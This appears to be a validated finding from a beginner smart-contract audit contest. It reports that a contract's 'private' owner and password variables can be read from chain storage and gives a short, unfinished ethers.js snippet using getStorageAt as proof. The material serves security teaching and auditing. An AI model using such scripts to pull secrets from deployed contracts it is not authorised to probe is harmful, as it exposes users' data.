Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Private variables can be accessed easily outside of the blockchain

Summary

s_owner and s_password can be easily accessed despite the private variables. A simple script such as the one shared below would be able to access the variables, resulting in the password being exposed

Vulnerability Details

Simple script to access private variables:

const {ethers,utils } = require("ethers");
const rpc_url = "https://eth.g.alchemy.com/v2/abcd" //add your rpc_url here
const provider = new ethers.providers.JsonRpcProvider(rpc_url)
async function start() {
const contract_address = //add contract address here
const slot = // add the storage slot of contract you want to access
const data = await provider.getStorageAt(contract_address, slot)
console.log("Private Data :", data)

Impact

s_password can be accessed invalidating the use of this contract

Tools Used

Hardhat

Recommendations

Do not store passwords on the blockchain

Updates

Lead Judging Commences

inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-read-storage

Private functions and state variables are only visible for the contract they are defined in and not in derived contracts. In this case private doesn't mean secret/confidential

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.